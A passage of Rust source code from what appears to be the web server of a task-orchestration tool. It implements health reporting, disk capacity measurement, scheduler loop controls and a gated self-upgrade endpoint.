2671            Ok((cfg, _)) => cfg,
2672            Err(e) => {
2673                updater::log_warn(
2674                    &ui.home,
2675                    &format!("auto-upgrade: config unavailable: {e:#}"),
2676                );
2677                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2678                continue;
2679            }
2680        };
2681        if should_spawn_recheck(&cfg.update)
2682            && let Some(checker) = updater::Checker::new(&cfg.update)
2683        {
2684            let progress = updater::read_progress(&ui.home);
2685            let mut latest = checker.cached_update();
2686            if update_recheck_due(&checker, progress.as_ref()) {
2687                match checker.newer_release().await {
2688                    Ok(found) => latest = found,
2689                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2690                }
2691            }
2692            if cfg.update.auto_restart
2693                && let Some(latest) = latest
2694            {
2695                let response =
2696                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2697                updater::log_step(
2698                    &ui.home,
2699                    &format!("auto-upgrade: request status {}", response.status()),
2700                );
2701            }
2702        }
2703        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2704    }
2705}
2706
2707/// [`UpdateView`] from the same throttled, disk-only state
2708/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2709/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2710/// no cached state at all, which is correct: an operator who turned checking
2711/// off gets no opinion, not a stale one.
2712fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2713    let default;
2714    let cfg = match cfg {
2715        Some(cfg) => cfg,
2716        None => {
2717            default = Config::default();
2718            &default
2719        }
2720    };
2721    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2722    match latest {
2723        Some(latest) => UpdateView {
2724            available: true,
2725            to: Some(latest.tag_name),
2726        },
2727        None => UpdateView {
2728            available: false,
2729            to: None,
2730        },
2731    }
2732}
2733
2734/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2735/// from the parked run's own state when the stage is
2736/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2737/// already on disk in `run.json`, so this reads them fresh rather than
2738/// trusting whatever was true the moment the park was requested.
2739fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2740    let now = Timestamp::now();
2741    let lease = updater::read_lease(&ui.home);
2742    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2743    let run_id = alive
2744        .and_then(|l| l.parked_run.as_deref())
2745        .or(progress.parked_run.as_deref());
2746    let parking = progress.stage == updater::Stage::Parking;
2747    let waited = alive.map_or_else(String::new, |l| {
2748        let secs = updater::waited_secs(l, now);
2749        format!(" (waited {} min so far)", secs / 60)
2750    });
2751    let run_text = run_id
2752        .filter(|_| parking)
2753        .map(|id| match read_run(&ui.runs, id).ok() {
2754            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2755            None => format!("run {id} is finishing"),
2756        });
2757    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2758        .filter(|t| parking && !t.is_empty())
2759        .map(|t| format!("{t} finishing"));
2760    let waiting_on = match (run_text, talks_text) {
2761        (None, None) => None,
2762        (run, talks) => {
2763            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2764            Some(format!(
2765                "{} before the address is handed over{waited}",
2766                parts.join(" and ")
2767            ))
2768        }
2769    };
2770    let detail = progress
2771        .detail
2772        .clone()
2773        .or_else(|| updater::read_note(&ui.home, &progress));
2774    let stalled = updater::stall(&progress, lease.as_ref(), now);
2775    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2776    UpgradeProgressView {
2777        trigger: progress.trigger,
2778        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2779        stuck_kind: stalled.map(|s| s.kind),
2780        handover_alive: alive.is_some(),
2781        stage: progress.stage,
2782        from: progress.from,
2783        to: progress.to,
2784        waiting_on,
2785        started_at: progress.started_at,
2786        updated_at: progress.updated_at,
2787        detail,
2788    }
2789}
2790
2791/// Last successful capacity observations, independent of admission/cleanup.
2792/// Cold or unavailable directory measurements are null, never invented zeros.
2793#[derive(Debug, Serialize)]
2794struct DiskView {
2795    /// Free bytes on the volume holding the runs, when measurable.
2796    #[serde(skip_serializing_if = "Option::is_none")]
2797    free_bytes: Option<u64>,
2798    /// Everything the runs directory occupies, when fully measurable.
2799    runs_bytes: Option<u64>,
2800    /// Everything the runs' worktrees occupy.
2801    worktrees_bytes: Option<u64>,
2802    /// The shared build cache's size, when the config names one.
2803    #[serde(skip_serializing_if = "Option::is_none")]
2804    cache_bytes: Option<u64>,
2805    /// Last bounded cleanup report, including retention and failure reasons.
2806    retention: Option<crate::retention::Report>,
2807}
2808
2809/// Capacity walks have their own demand-driven single flight, not the revision
2810/// worker: a large build cache must never delay revisions or a health response.
2811const DISK_REFRESH: Duration = Duration::from_secs(60);
2812
2813#[derive(Debug, Clone, PartialEq, Eq)]
2814struct DiskScope {
2815    runs: PathBuf,
2816    worktrees: PathBuf,
2817    cache: Option<PathBuf>,
2818}
2819
2820impl DiskScope {
2821    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2822        Self {
2823            runs: ui.runs.clone(),
2824            worktrees: ui.worktrees_root.clone(),
2825            cache: cfg.and_then(Config::cache_dir),
2826        }
2827    }
2828}
2829
2830#[derive(Debug, Clone, Copy, Default)]
2831struct DiskCapacity {
2832    free_bytes: Option<u64>,
2833    runs_bytes: Option<u64>,
2834    worktrees_bytes: Option<u64>,
2835    cache_bytes: Option<u64>,
2836}
2837
2838impl DiskCapacity {
2839    fn measure(scope: &DiskScope) -> Self {
2840        Self {
2841            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2842            runs_bytes: disk_capacity_size(&scope.runs),
2843            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2844            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2845        }
2846    }
2847
2848    fn retain_successes(&mut self, next: Self) {
2849        self.free_bytes = next.free_bytes.or(self.free_bytes);
2850        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2851        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2852        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2853    }
2854}
2855
2856/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2857/// best-effort total, an incomplete observation must not look like an empty tree.
2858fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2859    let metadata = match std::fs::symlink_metadata(path) {
2860        Ok(metadata) => metadata,
2861        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2862        Err(_) => return None,
2863    };
2864    if !metadata.is_dir() {
2865        return Some(if metadata.is_file() {
2866            metadata.len()
2867        } else {
2868            0
2869        });
2870    }
2871    let mut total = 0;
2872    let mut stack = vec![path.to_owned()];
2873    while let Some(dir) = stack.pop() {
2874        for entry in std::fs::read_dir(dir).ok()? {
2875            let entry = entry.ok()?;
2876            let metadata = entry.metadata().ok()?;
2877            if metadata.is_dir() {
2878                stack.push(entry.path());
2879            } else if metadata.is_file() {
2880                total += metadata.len();
2881            }
2882        }
2883    }
2884    Some(total)
2885}
2886
2887#[derive(Debug, Default)]
2888struct DiskObservation {
2889    scope: Option<DiskScope>,
2890    capacity: DiskCapacity,
2891    in_flight: bool,
2892    finished: Option<std::time::Instant>,
2893}
2894
2895impl DiskObservation {
2896    fn observe(
2897        state: &Arc<Mutex<Self>>,
2898        scope: DiskScope,
2899        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2900    ) -> DiskCapacity {
2901        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2902        if observation.scope.as_ref() != Some(&scope) {
2903            observation.scope = Some(scope.clone());
2904            observation.capacity = DiskCapacity::default();
2905            observation.finished = None;
2906        }
2907        let capacity = observation.capacity;
2908        if observation.in_flight
2909            || observation
2910                .finished
2911                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2912        {
2913            return capacity;
2914        }
2915        observation.in_flight = true;
2916        drop(observation);
2917
2918        let refresh = DiskRefresh {
2919            state: Arc::clone(state),
2920            scope,
2921        };
2922        tokio::task::spawn_blocking(move || {
2923            let next = measure(&refresh.scope);
2924            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2925            if observation.scope.as_ref() == Some(&refresh.scope) {
2926                observation.capacity.retain_successes(next);
2927            }
2928            drop(observation);
2929            // The guard also clears the flight on panic or a cancelled,
2930            // not-yet-started blocking job. No failed scan can wedge health.
2931            drop(refresh);
2932        });
2933        capacity
2934    }
2935}
2936
2937struct DiskRefresh {
2938    state: Arc<Mutex<DiskObservation>>,
2939    scope: DiskScope,
2940}
2941
2942impl Drop for DiskRefresh {
2943    fn drop(&mut self) {
2944        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2945        observation.in_flight = false;
2946        if observation.scope.as_ref() == Some(&self.scope) {
2947            // Wait a full period after completion, including failed scans.
2948            observation.finished = Some(std::time::Instant::now());
2949        }
2950    }
2951}
2952
2953impl DiskView {
2954    /// Return immediately, retaining known capacity while one worker refreshes.
2955    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2956        let capacity = DiskObservation::observe(
2957            &ui.monitor.disk,
2958            DiskScope::of(ui, cfg),
2959            DiskCapacity::measure,
2960        );
2961        Self::with_capacity(ui, capacity)
2962    }
2963
2964    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2965        Self {
2966            free_bytes: crate::disk::free_bytes(&ui.runs)
2967                .ok()
2968                .or(capacity.free_bytes),
2969            runs_bytes: capacity.runs_bytes,
2970            worktrees_bytes: capacity.worktrees_bytes,
2971            cache_bytes: capacity.cache_bytes,
2972            retention: ui
2973                .runs
2974                .parent()
2975                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2976                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2977        }
2978    }
2979}
2980
2981/// The daemon's state as the UI presents it.
2982#[derive(Debug, Serialize)]
2983struct DaemonView {
2984    running: bool,
2985    idle: Option<bool>,
2986    pid: Option<u32>,
2987    /// Every task and run currently in flight. Empty when idle; more than
2988    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2989    /// run going at once.
2990    current: Vec<daemon::Current>,
2991    completed: Option<u64>,
2992    stale_for_secs: Option<i64>,
2993}
2994
2995impl DaemonView {
2996    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2997    /// not this UI's — a crashed daemon must not look alive here while
2998    /// `doctor` calls it dead.
2999    fn of(status: Option<daemon::Reading>) -> Self {
3000        let Some(status) = status else {
3001            return Self {
3002                running: false,
3003                idle: None,
3004                pid: None,
3005                current: Vec::new(),
3006                completed: None,
3007                stale_for_secs: None,
3008            };
3009        };
3010        let now = Timestamp::now();
3011        let age = status.age_secs(now);
3012        Self {
3013            running: status.running(now),
3014            idle: Some(status.idle),
3015            pid: status.pid,
3016            current: status.current,
3017            completed: Some(status.completed),
3018            stale_for_secs: age,
3019        }
3020    }
3021}
3022
3023// Discover display configuration off the request path. Capacity measurement
3024// retains its separate single flight and scope/failure handling below.
3025fn refresh_health_config(ui: &Arc<Ui>) {
3026    let mut cache = ui
3027        .monitor
3028        .disk_cache
3029        .lock()
3030        .unwrap_or_else(PoisonError::into_inner);
3031    if cache.loading
3032        || cache
3033            .measured
3034            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3035    {
3036        return;
3037    }
3038    cache.loading = true;
3039    let weak = Arc::downgrade(ui);
3040    std::thread::spawn(move || {
3041        let Some(ui) = weak.upgrade() else { return };
3042        let cfg = deputy_config(&ui.repo);
3043        let update = cached_update_view(cfg.as_ref());
3044        let mut cache = ui
3045            .monitor
3046            .disk_cache
3047            .lock()
3048            .unwrap_or_else(PoisonError::into_inner);
3049        cache.config = cfg;
3050        cache.update = Some(update);
3051        cache.measured = Some(std::time::Instant::now());
3052        cache.loading = false;
3053    });
3054}
3055
3056fn health_counts(
3057    ui: &Ui,
3058    fallback_questions_rev: u64,
3059) -> ApiResult<(usize, usize, usize, u64, usize)> {
3060    let mut index = ui
3061        .monitor
3062        .health_index
3063        .lock()
3064        .unwrap_or_else(PoisonError::into_inner);
3065    let ids = run_ids(&ui.runs);
3066    let seen: HashSet<_> = ids.iter().cloned().collect();
3067    index.runs.retain(|id, _| seen.contains(id));
3068    let mut unreadable = 0;
3069    for id in ids {
3070        // Recheck identity on every request, including atomic replacements
3071        // with preserved length/mtime. A failed stat is never cached as good.
3072        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3073        let bad = match identity {
3074            Ok(identity) => {
3075                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3076                    let bad = read_run(&ui.runs, &id).is_err();
3077                    index.runs.insert(id.clone(), (identity, bad));
3078                    #[cfg(test)]
3079                    {
3080                        index.run_parses += 1;
3081                    }
3082                }
3083                index.runs[&id].1
3084            }
3085            Err(_) => true,
3086        };
3087        unreadable += usize::from(bad);
3088    }
3089    let questions_rev = try_stamps(ui.questions.root(), false, true)
3090        .map(|stamps| stamps_revision(&stamps))
3091        .unwrap_or(fallback_questions_rev);
3092    if index.questions.as_ref().is_none_or(|counts| {
3093        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3094    }) {
3095        let questions = ui.questions.list();
3096        index.questions = Some(QuestionCounts {
3097            revision: questions_rev,
3098            measured: std::time::Instant::now(),
3099            open: questions.iter().filter(|q| q.status.open()).count(),
3100            owner: questions
3101                .iter()
3102                .filter(|q| {
3103                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3104                })
3105                .count(),
3106        });
3107    }
3108    let notifications_rev =
3109        stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
3110    if index
3111        .notices
3112        .is_none_or(|(rev, _)| rev != notifications_rev)
3113    {
3114        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3115    }
3116    let questions = index.questions.as_ref().unwrap();
3117    Ok((
3118        unreadable,
3119        questions.open,
3120        questions.owner,
3121        notifications_rev,
3122        index.notices.unwrap().1,
3123    ))
3124}
3125
3126async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3127    let revisions = ui.monitor.revisions(&ui).await?;
3128    refresh_health_config(&ui);
3129    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3130        // One read of the status file for the two fields that describe it, so
3131        // `daemon` and `loop` in the same answer cannot disagree about who is
3132        // running the loop.
3133        let reading = daemon::read_status(&ui.home);
3134        // Read on its own line, not inside the literal below: the loop's lock
3135        // is not reentrant, and a guard taken as a temporary there would still
3136        // be held when `loop_view` took it again.
3137        let loop_rev = ui.lock_loop().rev;
3138        let (
3139            runs_unreadable,
3140            questions_open,
3141            questions_needs_owner,
3142            notifications_rev,
3143            notifications_unread,
3144        ) = health_counts(&ui, revisions.2)?;
3145        let ((cfg, config_observed, sizes, measured), update) = {
3146            let cache = ui
3147                .monitor
3148                .disk_cache
3149                .lock()
3150                .unwrap_or_else(PoisonError::into_inner);
3151            (
3152                (
3153                    cache.config.clone(),
3154                    cache.measured.is_some(),
3155                    cache.disk.clone(),
3156                    cache.measured,
3157                ),
3158                cache.update.clone().unwrap_or(UpdateView {
3159                    available: false,
3160                    to: None,
3161                }),
3162            )
3163        };
3164        // Retain the base's capacity observation independently of config
3165        // refreshes. A cold config read may still be pending; an existing
3166        // capacity flight must remain visible to concurrent health requests.
3167        let prior_capacity = {
3168            let mut observation = ui
3169                .monitor
3170                .disk
3171                .lock()
3172                .unwrap_or_else(PoisonError::into_inner);
3173            // Adopt a completed size snapshot only before the scoped capacity
3174            // observer has started. Later scope changes remain its authority.
3175            if observation.scope.is_none()
3176                && let Some(sizes) = sizes
3177            {
3178                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3179                observation.capacity = DiskCapacity {
3180                    runs_bytes: Some(sizes.runs),
3181                    worktrees_bytes: Some(sizes.worktrees),
3182                    cache_bytes: sizes.cache,
3183                    free_bytes: None,
3184                };
3185                observation.finished = measured;
3186            }
3187            observation.scope.as_ref().map(|_| observation.capacity)
3188        };
3189        let disk = if config_observed {
3190            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3191        } else {
3192            serde_json::to_value(DiskView::with_capacity(
3193                &ui,
3194                prior_capacity.unwrap_or_default(),
3195            ))
3196            .ok()
3197        };
3198        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3199        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3200        #[cfg(not(test))]
3201        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3202        #[cfg(test)]
3203        let looping = ui.loop_view(reading.clone());
3204        Ok(Json(HealthView {
3205            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3206            version: env!("CARGO_PKG_VERSION"),
3207            home: ui.home.display().to_string(),
3208            queue_rev: revisions.0,
3209            runs_rev: revisions.1,
3210            questions_rev: revisions.2,
3211            talks_rev: revisions.3,
3212            notifications_rev,
3213            notifications_unread,
3214            loop_rev,
3215            runs_unreadable,
3216            questions_open,
3217            questions_needs_owner,
3218            daemon: DaemonView::of(reading.clone()),
3219            looping,
3220            disk,
3221            update,
3222            upgrade,
3223            upgrade_request_error: ui
3224                .upgrade_request_error
3225                .lock()
3226                .unwrap_or_else(PoisonError::into_inner)
3227                .clone(),
3228        }))
3229    })
3230    .await
3231}
3232
3233/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3234#[derive(Debug, Serialize)]
3235struct LoopView {
3236    /// A scheduler is running, independently of this web process.
3237    running: bool,
3238    /// The scheduler has been asked to stop scheduling new work.
3239    stopping: bool,
3240    /// An explicit operator park was requested, independently from updates.
3241    parking: bool,
3242    /// This scheduler supports durable controls from any web generation.
3243    owned: bool,
3244    /// Repository the loop uses for tasks that name none - what it was
3245    /// started with while it runs, and what a start would use before that.
3246    repo: String,
3247    /// Merge mode override in force, or `null` when each repository's own
3248    /// config decides.
3249    merge: Option<String>,
3250    /// Why the last loop in this process ended, when it ended badly.
3251    ///
3252    /// The only place a crashed loop is visible to someone holding a phone.
3253    /// It is logged at error level as well, but a terminal nobody kept open
3254    /// is not a report, and a loop that died at 3am must not read as merely
3255    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3256    /// answers the same question about the same kind of failure.
3257    last_error: Option<String>,
3258    /// The status file, judged the same way `/api/health` judges it: this is
3259    /// what says whether a loop is alive in some *other* process.
3260    daemon: DaemonView,
3261}
3262
3263/// A legacy embedded scheduler that this web process cannot control.
3264///
3265/// Worker-protocol schedulers use durable controls regardless of which process
3266/// started them. Older schedulers are identified by their foreign heartbeat.
3267#[derive(Debug, Clone, Copy)]
3268struct Foreign {
3269    /// The pid the other process published, when it published one.
3270    pid: Option<u32>,
3271}
3272
3273impl Foreign {
3274    /// Another process's live loop, or `None` when this process is free to
3275    /// run one.
3276    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3277        // A fresh heartbeat with no pid in it is still evidence of a live
3278        // daemon. "Some other process" is the honest answer, and refusing
3279        // to start beside it is the safe one.
3280        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3281            return None;
3282        }
3283        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3284    }
3285
3286    /// How a conflict names it. The pid is the whole point of the message: it
3287    /// is what the operator needs to find the terminal that owns the loop.
3288    fn who(&self) -> String {
3289        match self.pid {
3290            Some(pid) => format!("another magi process (pid {pid})"),
3291            None => "another magi process".to_owned(),
3292        }
3293    }
3294}
3295
3296/// How a loop is started, as a future this module can hold onto.
3297///
3298/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3299/// trait object or a hand-written `Debug` impl for the sake of one seam.
3300type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3301
3302#[cfg(test)]
3303type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3304
3305/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3306#[cfg(test)]
3307fn launch_daemon(
3308    opts: daemon::Opts,
3309    stop: daemon::Stop,
3310) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3311    Box::pin(daemon::serve_until(opts, stop))
3312}
3313
3314/// Local web-control revisions and errors, plus the unit-test launch seam.
3315#[derive(Debug, Default)]
3316struct LoopState {
3317    /// The loop, while there is one.
3318    #[cfg(test)]
3319    live: Option<Live>,
3320    /// Local control changes streamed as `loop_rev`; actual scheduler and
3321    /// execution ownership comes from durable status and OS-held worker leases.
3322    rev: u64,
3323    /// Why the last loop ended, when it ended badly. See
3324    /// [`LoopView::last_error`].
3325    last_error: Option<String>,
3326}
3327
3328/// A loop in flight.
3329#[cfg(test)]
3330#[derive(Debug)]
3331struct Live {
3332    /// The cooperative stop, shared with the loop task.
3333    stop: daemon::Stop,
3334    /// The task itself, kept only to answer whether it is still there: a loop
3335    /// that panicked never records its own end, and without this the view
3336    /// would go on reporting a loop that no longer exists - the one lie that
3337    /// would leave the operator with no button to press.
3338    handle: tokio::task::JoinHandle<()>,
3339    /// What the loop was started with, so the view reports the repository and
3340    /// merge mode its runs will actually use rather than what an edit to the
3341    /// config since would give.
3342    opts: daemon::Opts,
3343}
3344
3345#[cfg(test)]
3346impl Live {
3347    /// Is the task still there? See [`Live::handle`].
3348    fn alive(&self) -> bool {
3349        !self.handle.is_finished()
3350    }
3351}
3352
3353/// Take the loop lock, recovering from a poisoned one.
3354///
3355/// What this mutex holds is a stop flag, a task handle and two counters, none
3356/// of which a panic elsewhere can leave in a state worth refusing to read.
3357/// Propagating the poison instead would mean an operator who can see the loop
3358/// running and can no longer stop it from the only surface they have.
3359fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3360    state.lock().unwrap_or_else(PoisonError::into_inner)
3361}
3362
3363/// `GET /api/loop`.
3364async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3365    blocking(move || {
3366        let reading = daemon::read_status(&ui.home);
3367        #[cfg(not(test))]
3368        let view = ui.try_loop_view(reading)?;
3369        #[cfg(test)]
3370        let view = ui.loop_view(reading);
3371        Ok(Json(view))
3372    })
3373    .await
3374}
3375
3376/// The body of `POST /api/loop`.
3377///
3378/// One required field and nothing else: no `default` and no unknown fields,
3379/// so a body that fails to say which way the switch was flipped is a 400
3380/// rather than a tap that quietly does the opposite of what was pressed.
3381#[derive(Debug, Deserialize)]
3382#[serde(deny_unknown_fields)]
3383struct LoopCommand {
3384    running: bool,
3385    /// Stop the run in flight at its next node boundary rather than letting it
3386    /// finish.
3387    ///
3388    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3389    /// competition is tens of minutes of paid work and finishing it is
3390    /// normally the cheapest thing to do. A park is for the operator who
3391    /// wants the process gone now - to replace the binary, most of all - and
3392    /// it costs at most the node in progress because every node writes its
3393    /// state before the next one starts.
3394    #[serde(default)]
3395    park: bool,
3396}
3397
3398/// Start or control the detached scheduler without waiting for execution
3399/// workers. Only an explicit park asks workers to stop at a node boundary.
3400async fn loop_post(
3401    State(ui): State<Arc<Ui>>,
3402    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3403) -> ApiResult<Json<LoopView>> {
3404    // Taken as a `Result` so a malformed body is a 400 like every other route
3405    // here, rather than axum's default 422 that the UI has no branch for.
3406    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3407    #[cfg(not(test))]
3408    {
3409        if body.running {
3410            ui.start_detached_loop().await?;
3411        } else {
3412            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3413            ui.stop_loop(foreign, body.park)?;
3414        }
3415        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3416    }
3417    #[cfg(test)]
3418    {
3419        blocking(move || {
3420            let reading = daemon::read_status(&ui.home);
3421            let foreign = Foreign::of(reading.as_ref());
3422            if body.running {
3423                ui.start_loop(foreign)?;
3424            } else {
3425                ui.stop_loop(foreign, body.park)?;
3426            }
3427            Ok(Json(ui.loop_view(reading)))
3428        })
3429        .await
3430    }
3431}
3432
3433/// What `POST /api/upgrade` set in motion.
3434#[derive(Debug, Serialize)]
3435struct UpgradeView {
3436    /// The version this process is running.
3437    from: String,
3438    /// The release it is replacing itself with, when there is one.
3439    to: Option<String>,
3440    /// What the operator should expect to happen next.
3441    detail: String,
3442}
3443
3444/// The stage of an upgrade that is still moving, if the record says so.
3445/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3446fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3447    progress.filter(|p| !p.stage.terminal())
3448}
3449
3450/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3451/// Unknown diagnostics retain their complete message without guessing a delay.
3452fn upgrade_retry_after(message: &str) -> Option<u64> {
3453    if !message.contains("GitHub") || !message.contains("rate limit") {
3454        return None;
3455    }
3456    if message.contains("retry now") {
3457        return Some(0);
3458    }
3459    let duration = message
3460        .split_once("resets in ")
3461        .or_else(|| message.split_once("retry after "))?
3462        .1
3463        .split_once(')')?
3464        .0;
3465    let mut rest = duration.trim();
3466    if rest.is_empty() {
3467        return None;
3468    }
3469    let mut total = 0u64;
3470    while !rest.is_empty() {
3471        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3472        let amount: u64 = rest[..n].parse().ok()?;
3473        let scale = match rest[n..].chars().next()? {
3474            's' => 1,
3475            'm' => 60,
3476            'h' => 3600,
3477            'd' => 86400,
3478            _ => return None,
3479        };
3480        total = total.checked_add(amount.checked_mul(scale)?)?;
3481        rest = rest[n + 1..].trim_start();
3482    }
3483    Some(total)
3484}
3485
3486#[derive(Debug, Clone, Serialize)]
3487struct UpgradeRequestFailure {
3488    occurred_at: String,
3489    error: String,
3490    retry_after_secs: Option<u64>,
3491    /// Unix seconds; independent of the phone's polling cadence.
3492    retry_at: Option<u64>,
3493}
3494
3495impl UpgradeRequestFailure {
3496    fn new(error: String) -> Self {
3497        let retry_after_secs = upgrade_retry_after(&error);
3498        let now = std::time::SystemTime::now()
3499            .duration_since(std::time::UNIX_EPOCH)
3500            .unwrap_or_default()
3501            .as_secs();
3502        Self {
3503            occurred_at: jiff::Timestamp::now().to_string(),
3504            error,
3505            retry_after_secs,
3506            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3507        }
3508    }
3509}
3510
3511/// `POST /api/upgrade` - replace this binary with the newest release and come
3512/// back on it.
3513///
3514/// Replace the installed binary, restart the detached scheduler, release the
3515/// web listener, then start the successor. Active task and conversation
3516/// workers retain their immutable executable and continue without parking.
3517///
3518/// A legacy embedded scheduler is the only incompatible owner: its work
3519/// must finish or park before the first migration replaces its process.
3520///
3521/// Answers **202**: the reply has to reach the phone while this process can
3522/// still send one, and the phone learns the deck is back by reconnecting.
3523async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3524    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3525}
3526
3527async fn begin_upgrade(
3528    ui: &Arc<Ui>,
3529    trigger: updater::UpgradeTrigger,
3530    latest: Option<kaishin::LatestRelease>,
3531) -> Response {
3532    let reading = daemon::read_status(&ui.home);
3533    if let Some(other) = Foreign::of(reading.as_ref()) {
3534        return ApiError::conflict(format!(
3535            "{} is a legacy scheduler without detached restart support. \
3536             Finish or explicitly park its work in the existing UI before \
3537             this first migration; independent schedulers do not need this.",
3538            other.who()
3539        ))
3540        .into_response();
3541    }
3542
3543    // A second upgrade while one is moving would replace the binary and
3544    // signal the handover again after `serve` already consumed the first
3545    // signal, leaving the process in `replaced` forever. Try-lock rather than
3546    // wait: a phone connection must not hang behind a GitHub round trip.
3547    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3548        return ApiError::conflict("another request is already preparing an upgrade")
3549            .into_response();
3550    };
3551    // Hold the same gate through recording/clearing the request outcome, so
3552    // an older response cannot overwrite a retry's result.
3553    if trigger == updater::UpgradeTrigger::Auto {
3554        let cfg = match Config::discover(&ui.repo, None) {
3555            Ok((cfg, _)) => cfg,
3556            Err(e) => {
3557                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3558            }
3559        };
3560        let Some(latest) = latest else {
3561            return StatusCode::NO_CONTENT.into_response();
3562        };
3563        let busy = ui.auto_upgrade_busy();
3564        let failed = ui
3565            .auto_failed_tag
3566            .lock()
3567            .unwrap_or_else(PoisonError::into_inner)
3568            .clone();
3569        let decision = auto_upgrade_decision(
3570            &cfg.update,
3571            updater::disabled_by_env(),
3572            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3573                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3574            busy,
3575            &latest.tag_name,
3576            failed.as_deref(),
3577        );
3578        if decision != AutoUpgradeDecision::Trigger {
3579            let reason = match decision {
3580                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3581                AutoUpgradeDecision::Skip(reason) => reason,
3582                AutoUpgradeDecision::Trigger => unreachable!(),
3583            };
3584            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3585            return StatusCode::NO_CONTENT.into_response();
3586        }
3587        // Close run admission, then recheck under the same request gate.
3588        // A resume that got in before the flag is visible in `resuming`;
3589        // one that arrives afterwards is refused by `begin_resume`.
3590        ui.upgrade_spawned
3591            .store(true, std::sync::atomic::Ordering::SeqCst);
3592        if ui.auto_upgrade_busy() {
3593            ui.upgrade_spawned
3594                .store(false, std::sync::atomic::Ordering::SeqCst);
3595            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3596            return StatusCode::NO_CONTENT.into_response();
3597        }
